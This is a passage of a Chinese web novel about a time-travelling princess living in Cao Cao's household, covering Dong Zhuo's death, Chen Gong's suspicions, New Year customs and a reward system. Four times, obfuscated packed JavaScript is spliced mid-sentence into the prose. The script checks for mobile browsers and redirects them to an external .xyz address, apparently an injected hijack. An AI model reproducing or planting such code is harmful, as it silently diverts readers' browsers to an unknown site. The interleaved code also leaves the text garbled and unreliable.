“依我看,为了安全起见,还是先让妹妹在咱们家住着吧,等将来局势明朗,天下安稳了,再……再送回去也不迟啊。” 曹昂强装镇定,实则心里早就慌了,越说到后面,他就觉得越难受。 “你这考虑的很周到啊,那就这么写吧,告诉你父亲,想来他一定也会觉得欣慰吧。” 丁夫人早已看穿一切,但是就是不点破,还故意反着说,并把那张帛书递到他面前,示意他照办。 “母亲,孩儿……孩儿觉得,这件事不能光我们同意,最重要的,还得问问妹妹自己的意见呢,要不然先别写了吧。” 曹昂抬了几次手,到底也没把帛书拿过来继续写,还组织语言试图阻止。 “说是也是啊。”丁夫人见状,心里偷笑不已,但面上还是一本正经点了点头。 “行了,天色不早了,你早点休息吧。”她把那帛书放到桌上,然后嘱咐了一句后,就离开了,徒留曹昂一个人坐在书房发呆。 他一夜未眠,殊不知,刘琼也睡不着,还把慧儿喊到内室,陪她一起休息。 慧儿放下系在床两边的床幔,又给刘琼掖了掖被角,这才钻进了自己的被窝,躺在她旁边轻声说着话。 “女公子,今儿听说董卓那大恶人死了,奴婢真是高兴。” “当初他在咱们家里欺男霸女,无恶不作,就连女公子的长兄也是让他害的。” “如今他得了这个下场,也是天理昭昭,报应不爽呢。” “听说杀他的人是温侯吕布,以前只道这人是个忘恩负义的家伙,不想今日他却肯为国除贼,大义灭亲,可见也是个忠臣呢。”慧儿的声音很是轻快。 “忠臣?哼!”刘琼闻言却扯了扯嘴角。 “你也太高看吕布了,他认了两个义父,一个是丁原,一个是董卓,两个也都被他所杀。” “董卓只用一匹赤兔马便使得吕布杀了丁原,投奔于他,而后王允又设了连环计,只用一个貂蝉,便又使吕布杀了董卓。” “此番种种,与其说这是吕布忠心于大汉,倒不如说,他是忠于自己的欲望,又被人加以利用,最终才成了我们现在看到的结果罢了。” 只有几句话,刘琼就把吕布的杀人动机分析明白,而慧儿也惊讶于公主所知之多,不过很快她就释然了。 公主本来也不是寻常人,再怎么神异的事,她都跟着经历过的,现在这种未卜先知的能力,都是小意思啦,所以她非常轻易就接受了这点,并深信不疑。 “要是这样的话,那长安现在岂不是很危险?女公子,我们好像暂时回不了家了吧。”慧儿更担心这个。 “哪个在你耳边嚼舌头了?怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693073|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,曹府的安生日子过腻了,打算回去试试水深火热啊。”刘琼看了她一眼。 “安生日子也好,水深火热也罢,奴婢命贱,在哪儿都一样,可女公子不同,您是金枝玉叶,总得为自己打算啊。”慧儿侧过身去看向刘琼。 “女公子如今没有父母护持,兄弟年纪又小,便是有叔伯宗亲,却也不知底细。” “眼下又是乱世,卖儿卖女都是寻常,何况是隔了一层的侄女呢?他们多半不会真心待女公子的。” “倒不如趁着现在还自由,先寻一个依靠,将来也不至于求告无门,终身无着啊。”慧儿是真心实意为她打算的。 “那你倒是说说看,你觉得谁是我的依靠,哪个又能做我的终身啊。”刘琼却不答反问道。 “女公子,恕奴婢多嘴,倒是觉得大公子人不错,虽然只相处了几个月,但也足够看清对方的为人了。” “他进退有度不说,还极为体贴女公子,急人之所急,想人之所想,又不似寻常男儿那般看不起我等女流之辈,行为举止更是十分得体,不曾有过丝毫越矩。” “最难得的是,奴婢看的出来,他心里是有女公子的。” “虽说你们两个现在还小,都还未到谈婚论嫁的时候,可这无论是宫里还是民间,婚嫁之事总要商量些时候的,短则几个月,长则大半年。” “若是再赶上权贵娶亲,乃至皇室婚礼,更是讲究排场和礼仪,前前后后拖上三五年也是有的,届时,女公子和大公子也就到了岁数了。” “若是这几年咱们都不回长安,而是依旧住在曹府,那必然会对大公子知根知底,曹家也绝不敢有丝毫不敬。” “如此想来,这倒是一门好亲事了。”慧儿说了一大堆,一心一意就只为刘琼的将来考虑。 “瞧你说的这许多话,没一句不是为他当说客的,这一时半会儿,我倒分不清你到底是谁的人了,我才多大,说什么亲事,讲什么婚嫁,也不害臊?” “还是说你自己觉得他好,便想我也长长久久的留在这儿了?” 可刘琼却不接她的话茬儿,只背过身去不看她,却又扔了许多问话过来,听着是责备,但其中又没有生气的意思。 慧儿跟随刘琼多年,如何不知自己这是说到点儿上,只公主面薄心软,不肯承认罢了,这才寻了个由头随便说两句的。 “奴婢一片真心皆是为了女公子,以您的身份地位,什么样的王孙公子不得抢着上门提亲?” “可谁又知道除去他们衣冠楚楚的表面后,背地里又是怎样的荒唐无度呢?” “而大公子呢,他现在虽无爵位,也无官职,但文武双全,早晚必做一番大事业。” “且他生的又俊,人品又好,这样的好男儿,那真是打着灯笼都难找,女公子当真就不动心吗?” 慧儿还不放弃,继续游说,可凑过去一看,却见刘琼不知何时已经闭上眼睛睡着了。 慧儿见状,也只能摇了摇头,随后躺回自己的被窝,没一会儿也就睡过去了。 24.伏低做小 不提曹昂心里如何翻腾,也不讲刘琼有何等思量,只说最后到底还是有书信一封从东郡曹府发出,快马加鞭送去了曹操手中。 其中不仅提及了董卓已死之事,更有那日曹昂和刘琼商议出来的如何收拢战败后的黄巾军的方法。 曹操收到此信时,没一会儿陈宫就来了营帐外求见。 许是出于炫耀,又或是真打算商量一下,曹操把信件递了过去,只是厚度比他自己看的减少了许多。 “公台,昨日你我还在发愁如何安置这许多投降之人,不想今日我儿便想出了这等法子,你觉得怎么样?”曹操见陈宫看的仔细,心下高兴,不由得出言道。 “你儿想出的法子?你儿想出的法子?”陈宫却扯了扯嘴角。 他又看了一眼落款,的确是曹昂二字无疑,可这封信前后因果并不连贯,也就是说,中间有一部分被抽掉了,而干这种事的人,不用说,肯定是曹操。 “我竟不知大公子何时精通这针织纺线之事了?莫非明公教养子女皆在一处不成?”思及此处,陈宫毫不客气的嘲讽了一句。 “公台说笑了,这家中男儿又如何与女眷所学相同呢?必是我那夫人处理家事时,我儿看见了,也就联想到了而已。” 曹操听了这话却并不生气,反而还自顾自的找台阶下。 “恐怕未必如此吧。”陈宫摇了摇头,一点也不信他,“大公子这主意必是听别人所说,但绝不是明公夫人,而是另有其人。” “公台何出此言啊。”曹操还在那儿揣着明白装糊涂呢。 “明公,你先前既然已经引我见了女公子,如今又何必遮遮掩掩呢?” “不管怎么说,现在女公子是你的侄女,承认主意是她出的,功劳也是她的,就这么难吗?”眼看他还在装傻,陈宫干脆捅破了那层窗户纸。 “公台,噤声!”听他提到刘琼的存在,曹操下意识的制止,并紧张的左顾右盼,确定无人偷听后,这才松了一口气。 “公台啊,这并非是我要故意昧下侄女的功劳,只因这事儿的确不宜拿到明面上来说啊。” “‘木秀于林,风必摧之’的道理,你应该比我更清楚啊,况且这孩子又是这样的人才品貌,我只怕一个不慎就护不住她了。” “而且董卓被杀的事,想必你也听说了吧,依你之见,那司徒王允可能掌控住朝局,又肃清董卓的党羽吗?”曹操挑了挑眉。 “当然不可能。”陈宫思虑一瞬就摇了摇头。 “董卓虽死,但西凉军仍在,其下部将也未有大损。” “这就好比一群野狼,失了头狼,纵然会有混乱,可一旦调整过来,早晚会选出新的领头的。” “届时长安的局势必然还会如董卓在时一样混乱。”他看的很清楚。 “可我听闻司徒王允素有计谋,如今又有温侯吕布帮衬,难道还不能压服这群西凉莽夫吗?”曹操却反问道。 “司徒王允的计谋虽好,可那也要看对手是谁,吕布即便悍勇,但到底双拳难敌四手。” “只可惜他们现在看不见背后潜藏的危机,只一味的志得意满。” “等来日真把西凉军逼到份儿上,我猜测,两人必会遭其反噬,轻则兵败逃亡,重则性命难保,连累亲族。” “更有甚者,陛下和百官们,只怕也会再度陷入险境啊。” 话到此处,陈宫心情越发沉重,仿佛已经看到了埋藏在欢歌笑语的长安之下的战火纷飞。 “我也正是考虑到这点,所以这才打算瞒下此事的。” “公台,你想啊,若是长安不久后就要再度沦于贼手,那我们岂不是更要为我那侄女提前打算吗?”曹操脸上满是一副为了刘琼好的模样。 “……”,陈宫抿了抿嘴唇,没说话。 其实他心里知道对方所言有理,但还是信不过曹操。 不得不说,当初曹操误杀吕伯奢一家的事,给他留下的印象实在是太坏了,以至于现在无论曹操做什么,陈宫都是带着怀疑的眼光。 而且现在曹操的行为也的确值得怀疑,为了公主的安全是一方面,但陈宫觉得,对方肯定还有私心,比如,想替他儿子留住公主什么的。 至于曹操有没有连带着把公主留下的同时,还萌生出私自昧下传国玉玺的念头,陈宫也不是没怀疑。 只是这事儿到底没证据,罪名又太大,他不好拿来抨击对方罢了。 陈宫心里的百转千回,曹操并不知道,不过对方脸色不太好,他倒是看出来了。 “公台啊,眼下形势严峻,我等所在的兖州纷乱,而冀州,幽州也不安稳,你又预测长安会乱,那我这侄女的事,自然要从长计议。” “不管如何,我们总得先保她性命无忧,平安长大才是要紧,至于旁的功劳什么的,反而不那么重要了。” “公台你说是不是啊。”曹操一边继续游说,一边打量着他的神色。 这也就是陈宫了,换任何一个人,曹操都不会这么伏低做小的哄着捧着。 可谁让陈宫是他最落魄的时候,还愿意不惜一切跟随自己的人呢? 对方又素来忠君爱国,人品极好,且谋略胆识都是一流,虽然他们之前有过分歧,但现在不是又在一起共事了吗? 这就说明他心里有自己啊,也难怪曹操对其珍之重之了。 这就好比白月光失而复得啊,你说曹操能不小心翼翼吗? 只可惜他这幅样子落在陈宫眼里,除了狡诈就是谄媚,再有就是心怀不轨,总之没一点好的。 但好在陈宫作为一流谋士,心理素质过硬,硬是没露出真实想法。 “明公所言也不无道理。”他这样说着,但脸上却显出些不情不愿。 “是吧,公台,你听我……”,不过曹操也不在乎,反而觉得这种态度才是正常的,还想凑过去多说两句。 可营帐外面却突然喧哗起来,还有哭喊之声,两人对视一眼,心中顿觉不妙,赶紧结伴出了营帐。 却见传信士兵跪倒在面前,跟他们禀报,鲍信引兵去攻黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703989|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巾军,却不慎中了埋伏,已经身死了。 曹操闻言大惊,随即悲痛万分,陈宫亦是伤心不已。 但眼下战况焦灼,也容不得他们两个有太多时辰悲春伤秋,只能强打起精神,细细谋划反攻事宜,又道要为鲍信报仇,一时之间竟是同仇敌忾起来。 众所周知,人多力量大,况且是曹操这样的枭雄加陈宫这一流的谋士,还有兖州士族们的相助,战事不过持续一月有余便有尘埃落定之意了。 而如何安置投降的黄巾军和那些流民,曹操到底还是采用了曹昂信中所写办法,又从中招募一批精锐编入军队,其他的若有女眷跟随,便送去东郡纺织工场过活。 这么多人的衣食自然不可能全都由曹操负责,短时间内他也拿不出那么多来,陈宫便替他和兖州士族说和。 好说歹说,到底弄了一批钱粮,只等度过这个冬日,来年开春再做打算。 他们忙的不可开交的时候,长安的局势也果然如陈宫预料的那般出现了险情。 董卓死后,西凉军剩下的将领李傕,郭汜等人本想投诚,奈何司徒王允根本不答应。 他仗着有吕布这个猛将在手,对其极尽羞辱,又放言要将他们按董卓党羽一起清算,两人无奈,只能放手一搏。 他们心知西凉军中无人能敌吕布之勇,商议一番后决定智取,佯攻吕布多次,却并不恋战,只专心除掉他手下多数兵士,又暗中联络长安内部的故交,使其作为内应,最终引兵冲进城中。 吕布眼看大势已去,本想带着司徒王允一起逃走,奈何后者执意要留下勤王护驾,吕布无奈,只能带上百余亲兵飞奔出关,仓皇出逃。 而王允最终也被逼自尽,亲人尽皆被杀,李傕和郭汜两人本来还想谋害小皇帝刘协,却被人劝住,说是担心此时弑君会激起天下人的愤怒,而他们如今的兵力并不足以再一次抵抗诸侯联军。 于是乎,他们便没有杀小皇帝,但却胁迫对方为自己加官进爵,并大肆搜刮民脂民膏,贪图享乐,长安城再度陷入水深火热之中。 但不管长安发生了什么,兖州总算是平定下来了,靠着陈宫的出谋划策和兖州士族的支持,曹操也总算有了自己的地盘,就连军队也有着落了。 而因为他肯接纳那许多流民乃至黄巾军,还给女眷们提供纺织工作,给予衣食,允许她们带给家人,一时间,民间也是交口称赞。 自然了,他们当中其实见过曹操本人的很少,不过没关系,只要对方这个州牧不主动祸害老百姓,那就算是好官了。 更别说,曹操还拨了粮食赈济,虽然还得做工来换吧,但总比饿死要强啊。 而刘琼和曹昂的好名声也开始这些人民中流传,并且比曹操的名声还响亮,毕竟,这些日子真正负责给女工们经手发衣食的正是他们两个。 俗话说,县官不如现管,而现管的又是个好主家的话,那老百姓自然打心里感激。 兖州的形势一片大好,随着时间的流逝,不知不觉就到了腊月末,马上就要过年了。 25.过年前夕 西汉立国后,承袭秦制,将一年开端,也就是岁首,定在了十月初一。 上至皇室贵族,下到庶民百姓,在这一天都会休息,并举行盛大的庆祝仪式。 这个规矩一直延续到汉武帝时期。 后来司马迁上书汉武帝,言说以十月为岁首的历法与具体的节气更替有误差,也不符合春种秋收的农时规矩,建议恢复夏商周时期以正月初一为岁首的传统。 汉武帝经过多方考虑最终采纳了这个建议,并颁布法令,以正月初一为岁首,也就是俗称的过年。 自汉武帝起,大汉后期的历代皇帝们都遵循这个规定,哪怕西汉灭亡,东汉建立亦是如此。 别看如今是东汉末年,天下动荡不安,但长久传承下来的过年的习俗却还是一样的进行着。 不提大汉其他州郡内部的境况,至少今年腊月末,兖州内部总算安稳下来。 内部的黄巾军叛乱被平定,又有以工代赈的政策实行开来,无论是贵族还是平民都松了一口气。 底层庶民们要的不多,能有口饭吃,也不用担心有流寇劫掠,这就够了。 而士族们虽然付出了一些钱粮,但也保住了自己大部分的家业,又迎来了曹操这个十分礼遇他们的新主公,优越地位依旧,那自然也没什么不高兴的。 多种因素作用之下,及至这一年的腊月末,兖州上上下下都是一派喜气洋洋,又马上就要过年了,各家各户都准备好好庆祝一下。 东郡曹府自然也不例外,今年夫君曹操打了胜仗,又做了州牧,还赶上即将过年,那丁夫人自然是想大摆宴席为其庆贺的。 这种关键时刻,那她这个主母简直忙的脚打后脑勺,但她脸上的笑容啊,倒是一点没下去过。 彼时,腊月的寒风卷着白色的雪花,不时敲打着东郡曹府的大门。 那左右两侧的门板上,也早已按习俗换上两块新的桃符,其上用浓墨重彩描绘出神荼与郁垒的形象。 只见他们怒目虬髯,威风凛凛,直将一切邪祟恶鬼拒之门外,乃是保家护亲的门神不二之选。 而在门楣之上,又有一串串的用红绳系着的干枯桃枝在风中轻晃,散发出淡淡的草木香气,这也是驱邪用的。 进了大门,庭院各处早已洒扫多次,不见一丝尘埃,这亦是过年前的习俗,意为‘除尘布新’,取一个好兆头。 空气中弥漫着混合了柏枝,花椒燃烧的独特味道,各庭院的厨房里也飘来了各种美食的香气。 当蒸饼的麦香和炖煮的肉香,糕点的甜蜜以及鱼汤的鲜美等等都交织在一起时,能把人馋的直流口水。 仆从们脚步匆匆,捧着各种物品穿梭准备,忙的一头大汗,但脸上却满是喜悦。 如今主家有喜事,又赶上过年,无论是正院夫人还是侧院夫人,亦或者各处的公子女公子们,打赏起来也比平时丰厚许多,这些仆从自是干劲十足。 整个曹府都满是节日的喜庆氛围,彼时刘琼也没闲着,她偶尔也会给丁夫人帮忙,帮对方操持一些家中事宜。 但毕竟她明面上的身份是借住在这儿的亲戚,也不好插手太多,也就显得清闲起来。 及至腊月二十七日,雪也下的越发大了,天气越来越冷,刘琼也越发不爱动弹。 彼时曹昂带着食盒过来看她,就见她趴在案台上看书简,旁边还放着一杯热蜜浆并一碟点心。 “这么大的雪,也难为你一天好几趟的往这儿赶,快坐下暖暖手。”刘琼见他来了,一边招呼他,一边倒了一杯热蜜浆递过去。 “我还好,倒是妹妹你,无精打采的,这点心也没怎么动,怎么?不喜欢吗?” 曹昂把食盒放到桌上,随后坐下,然后接过她递来了热蜜浆喝了一口后,关切的询问着。 “也不是,就是胃口不太好,许是最近总是吃米饭,蒸鱼,炖肉什么的,有些吃伤着了。”刘琼叹了一口气。 “过年前后,多食米饭鱼肉等物,既是彰显家中富足,也是为了庆祝节日,都是自古传下来的习俗,你我也不好擅自改动。” “好妹妹,你且忍一忍,等过些时日我再寻些蔬果来给你尝鲜。”曹昂耐着性子安抚并许诺道。 “蔬果不蔬果的我倒不怎么在意,不过有一样面食倒是馋了许久,方才我已经吩咐慧儿去做了,你等会儿也留下来尝尝吧。”刘琼邀请道。 “哦?连妹妹你都馋的面食吗?想必一定很好吃了,是什么?”曹昂好奇的问道。 “俗话说,好饭不怕晚,你现在急什么?等一会儿吃的时候不就知道了?”刘琼却不直说,反而卖了个关子。 “倒是你,特地拎着食盒来,带什么好东西了?”她看向了桌上的锦盒。 “也是节日所食,怕你不习惯,先带来给你尝尝。”曹昂说着话,就把食盒打开,从中拿出许多东西。 只见有用盘子盛着,切成拇指发大小的浅黄色膏状食物,也有用白玉盅装着,散发淡淡热气的汤品,还有酒壶和酒杯在。 “这是椒柏酒,我知道的,怪辣的。”刘琼先打开了离自己最近的酒壶闻了一下,随即就皱了皱眉。 “那也要试着喝一口啊,初一那天都得喝这个,届时还会有许多客人来呢,咱们做主家的总不能失礼吧。”曹昂一边说着,一边给她倒了一小杯。 “试试。”他把酒杯递过去。 “辣。”刘琼尝了一口就放下了,还直吐舌头,显然是不喜欢。 “那快吃糖甜甜嘴。”说着,曹昂又从盘中夹起一小块膏状饧糖送到她面前。 “有些粘牙。”刘琼咬了一口嚼了嚼后,口齿不清道。 “这是胶牙饧,当然粘牙了。”曹昂却笑着回答。 “民间习俗,祭祀灶神时就需要上这种特别的糖,目的在于粘住灶神的嘴,要他上天禀报时,说不出人间的坏话,也是祈求日子甜蜜美好的意思。”他还解释了此物的来历和用途。 “知道,知道,‘腊月二十三,灶王爷上天,上天言好事,下界报平安’嘛,可是这都过了腊月二十三了,怎么还吃这个啊。”刘琼指了指桌上那盘胶牙饧,有些嫌弃道。 “这不是担心你喝不惯我带来的饮品吗?”曹昂有些不好意思的摸了摸头。 “除了椒柏酒,你还带了什么奇怪的饮品给我?”刘琼一听就警惕起来。 “是桃汤。”说着,他就打开了那个白玉盅的盖子,刘琼看过去,却见里面是些汤水,还带着清香,顿时就松了一口气。 “桃汤?桃子做的汤吗?这个时节哪有桃子啊,还是说用桃干,或者桃酱做的?”她有些好奇的问道。 “都不是。”然而曹昂却摇了摇头,“是用桃树枝条做的。”他给出了正确答案。 “什么?”刘琼一听这话,“这是煮了桃树枝的水吗?你该不会想让我喝它吧。”她简直难以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709744|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置信。 “是啊,饮用桃汤也是民间的习俗,是用来辟邪的,就跟挂在门上的桃符的作用是一样的。” “其实它的味道也没有那么奇怪,苦涩中带着一点清新,你尝尝就知道了。”说着,曹昂就给她盛了一小碗。 “一定得喝吗?初一那天假喝行不行?”刘琼捏着鼻子喝了一口,顿觉接受不了,开始跟他讨价还价。 “椒柏酒可以假喝,桃汤不行,这是驱邪的,必须得喝,你还得装成特别习惯的样子,不然很容易被人看出不对的。”曹昂却摇了摇头,表示这个不容打折扣。 “那好吧。”刘琼没办法,只得点了点头。 她硬着头皮继续喝驱邪桃汤,试图让自己尽快接受这个味道,期间曹昂时不时的给她喂糖吃。 折腾了好一会儿,最后她总算能表情自然的喝完一小碗了,但内心还是有点接受不了。 幸亏只有过年的时候才喝,不然刘琼表示自己打死都不会尝试这东西的。 就在她苦着脸适应桃汤的时候,慧儿总算回来了,还带来了热气腾腾的饺子,有素的,有肉的,还有醋碟,酱碟之类的配料。 好不容易看见自己想吃的东西了,刘琼第一时间就把那装桃汤的碗放下,拿起筷子就吃了好几个饺子。 等她吃的心满意足了,这才想起曹昂也在,又兴致勃勃的招呼他来尝。 曹昂没见过这东西,却也没拒绝她的好意,尝了原味的,也尝了蘸料的,都觉得味道好的很。 “香吗?”刘琼笑着问他。 “香,真香。”曹昂连连点头。 “那当然了,俗话说,好吃不过饺子,就是这个理儿了。”刘琼抬了抬下巴,十分得意道。 “俗话说?我怎么不知道有这种俗话,以前也不曾见过这什么饺子啊,好妹妹,你打哪儿听来的?”曹昂指着碗里白白胖胖的饺子们,询问它们的来历。 “不应该啊,我记得饺子就是这个时候出现的啊。”这下反而换刘琼疑惑了。 “那你知道张仲景这个人吗?”她突然意识到了什么,出言询问道。 “张仲景?好像孙坚死后,就是此人做了新的长沙太守吧。”曹昂觉得耳熟,使劲儿想了想,总算找到了有关这人的信息。 “原来张仲景还在做官啊。”刘琼听到这儿,总算明白怎么回事了。 根据后世传闻,医圣张仲景应该是告老还乡后,在路上看到冻伤的百姓,做了祛寒娇耳汤给人们治病,而这便是饺子的原型。 眼下张仲景还在长沙做太守,也就是说,饺子现在根本没出现呢,也难怪曹昂不认识了。 “妹妹怎么突然问起这个人了?”而且现在他还很好奇。 “没什么,只是听说他是个好官,挺爱吃扁食,对了,你看这饺子像不像我们常吃的扁食?” 既然这个时代不能把张仲景和饺子联系在一起,刘琼只能拿饺子的另一种来历做解释了。 “像,真像,都是面皮裹着馅料一起煮来吃,不过扁食的面皮没这么厚罢了。”曹昂点评了一下两者的不同。 “那就是了。”刘琼笑着附和道,实则心里想的却是,这个时代的扁食其实更像她印象中的馄饨。 好在曹昂也没多问,只一个劲儿的吃饺子,这事儿也就蒙混过关了。 不过也因为今日吃到了饺子,还想到了张仲景,刘琼突然萌生了一个大胆的想法。 26.三项选一 刘琼因为嘴馋让慧儿做了几盘饺子,还给曹昂尝了尝,并获得了好评,但也因此得知,历史上可能是饺子创始人的医圣张仲景还在做官,如今还未想出这种食物。 不过刘琼觉得,现在倒是有一样东西能够从张仲景那儿借鉴一下,那就是‘祛寒娇耳汤’的做法。 眼下寒冬腊月,百姓们的衣食纵然勉强解决,但医药方面仍是欠缺。 刘琼想着,若是能仿照张仲景的方子,把食材和药材一起炖煮分给百姓们吃喝,虽不能说包治百病,但至少预防效果是有的。 当然,一天所有的饭食都吃这个也不现实,就算是皇家也出不起这么多的粮食药草。 不过若是趁着年节时期来组织一番还是可行的,理由也是现成的,与民同乐嘛。 而且如果曹操这个兖州牧带头这么做,那么多半他手下的兖州士族们也是愿意效仿的。 眼下兖州最重要的就是安定民心,只要民心安定,内部也就稳住了,秩序就能得到维护,士族们也能保持自己的超然地位。 刘琼相信,这其中的利益得失,这些士族们必然算的清楚,为了好名声和地位巩固,出一些粮食医药又算得了什么呢? 自然了,她筹谋这么多可不是打算为别人做嫁衣的,所以这件事,必须由她来牵头,第一个出面去做。 至于曹操也可能从中获取不小的好处,这个刘琼就暂时顾不上了,反正现在双方利益一致,只要不让兖州士族们占了大便宜就行。 就这样,她把自己的想法挑拣着说给曹昂听。 而曹昂果然也觉得这是个好主意,他没想到那么多,只觉得她人美心善,过节的时候还不忘了穷苦百姓,便连连点头,满口答应着会帮她去游说父亲曹操。 刘琼眼看说动了他,便讲宜早不宜迟,拉上他便一起去见了曹操,然后把这法子说了一遍。 曹操果然和刘琼一样,也进一步想到了可以利用此举收买人心。 但他同样没把心思摆在明面上,只笑着说这样很好,让他们两个放手去办就是,一应粮食药材什么的,他都出了。 他打什么主意,刘琼自然是知道的,但是她也没戳穿对方,有些事啊,糊里糊涂比说个明白更容易办。 不管如何,老百姓这次是得了实惠了。 曹操派人支了一批粮草药材给他们,丁夫人又贴心的送来了许多大锅薪柴,还有茱萸,花椒等调料,就连羊肉,羊骨都很是准备了不少。 刘琼和慧儿又指挥侍女们包了许多饺子馄饨之类的带馅面食,菜肉都有。 曹昂则是派人在曹府不远处的街上,还有郊野纺织工场的门口都支起数口大锅,点火烧水。 刘琼则带着慧儿和侍女们分成两批把药材和调料按步骤放到锅中,待到汤汁滚起来后,再下饺子和各种辅料,比如肉糜,菜叶什么的。 曹昂又提前安排人去通知了那些女工所在的家庭,要她们带着碗筷过来排队领这‘祛寒娇耳汤’。 女工们自是欢天喜地,这天寒地冻,端着碗喝上一口热汤,再吃上一点热食,那真是浑身都暖和起来了。 但还有许多人领了汤并不当下吃喝,而是小心翼翼的盖上,准备带回去给家里人吃。 这些刘琼自然也没有阻止,只是和曹昂一起许诺,过节这些天她们每日都可以过来领。 就算不为让所有人都吃饱,但至少要让每家每户的老百姓都喝上一些,用来预防风寒,抵御冬日,将来才能更好的留在纺织工场做工。 这其实是刘琼在告诉这些女人们,在考虑家里男人老人孩子的同时,自己也该喝一些,现在纺织工场里只招女工,她们可是家里一切进项的来源,可得好好保重。 而女人们自然也明白这个道理,把祛寒娇耳汤拿回家的时候,也免不得要跟家里人说说刘琼的好心肠。 这些老百姓虽说穷苦,也不识字,但他们可不傻,知道谁是真对自己好,心下自是感激涕零,也肯为自家女眷留一口汤饭,毕竟,这会儿一家人都指望着她们在工场干活呢。 曹操这边这么大张旗鼓的让长子操办此事,其他兖州士族自然有所耳闻,在商量过后,也纷纷效仿加入。 多数士族都吩咐下人在自家门前不远处的街边支起大锅,炖煮各种食物救济百姓。 不过他们就没饺子这种巧思了,施粥或者蒸饼麦饭的居多,也有煮羊骨,肉沫,肝脏,猪蹄,猪皮,猪尾巴等边角料什么的给老百姓吃的。 这些下等的东西士族当然看不上,但百姓们却不嫌弃,到底是白得的,还能尝点肉味儿,怎么着都比什么都没有要强。 这个年节,兖州的百姓们才真觉得这些当官的是要与民同乐了,纷纷交口称赞。 但是他们心里也有一杆秤,知道是兖州牧曹操先开始做这件事,士族权贵们才效仿的。 而且曹操那边给的祛寒娇耳汤东西多还足,士族们这边就比不上了,那老百姓的心要往哪头偏,也就显而易见了。 刘琼也在这场笼络民心的争夺战中占据了大头,东西虽然是曹操出的,但亲自去现场分发指挥的人可是她和曹昂。 更何况,曹操更愿意在曹府门口和士族们一起作秀,而刘琼更专注于拉拢郊野纺织工场的女工们和她们背后的千千万万户小家庭。 别看一个是笼络上层,一个是关心下层,但某种意义上来说,刘琼得到的反而比曹操得到的还多。 不管怎么说,这天下最重要的部分,依旧是底层老百姓,没了他们的支撑,什么权贵士族都得完蛋,从这一点来看,刘琼的做法显然更长远。 而老百姓们也不负她的期盼,贡献了许多声望值,时隔数月,她耳边再次响起了系统的提示音。 “恭喜宿主,你已通过纺织工场,以工代赈,施医赠药,发放祛寒娇耳汤等种种行为,获得了兖州下层多数女子民心。” “新招募的军队士兵也受家中女眷影响,大多认可你的良善,宿主声望值提升百分之十,并可以选择奖励。” “都有什么奖励?”刘琼盯着半空中的半透明面板,在心中默问道。 “鉴于宿主使用了三种方法获取了民心这一个结果,所以现在系统为宿主提供三选一奖励机制。” “第一,土豆红薯的粮种,第二,兖州煤矿分布图,第三,精盐制作法。” “请宿主在三种奖励中择其一选之,系统将无条件发放。” 三种奖励,粮种,煤矿,精盐,无一不是提升声望值的好东西,刘琼都想要,但是现在只能选择一个,那么必然要考虑到后续利益最大化才行。 刘琼思考了好一会儿也拿不定主意,但好在系统并没有强制设置领取日期,她也就还有时间进行权衡。 当然,这些日子赠医施药,分发祛寒娇耳汤的事也不能放下,好名声是需要经营的,这点刘琼还是很清楚的。 所以除了正月初一那天她在曹府里庆祝节日外,其他时间她都在郊野的纺织工场前继续拉进自己和女工们以及她们背后几千上万家庭的距离。 也就是在这种情况下,陈宫找了过来,过年这样大的节日,他作为兖州牧的下属,自然要给上司拜年,但他来东郡更重要的是想探望刘琼。 这几个月曹操看陈宫看的很紧,但过年的时候许多士族官员都来拜访曹操,后者脱不开身,陈宫也就瞅准机会悄悄离了宴席,一路找到了在纺织工场门口的刘琼。 彼时,她正和曹昂,慧儿一起指挥发放汤药,见到陈宫过来,顿时眼前一亮。 对啊,她犹豫不决的事可以问问陈宫这位一流谋士啊,不管怎么说,这也是她的自己人了。 思及此处,刘琼低声吩咐了几句,慧儿当即心领神会,马上过去曹昂那边帮忙,意在拖住他。 而刘琼自己则是示意陈宫来帮她一起去马车那边取点东西。 陈宫一听就知道,这肯定是公主有话想跟自己说,他赶紧点了点头,又说自己也有贺礼要送给公主,正好一起放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 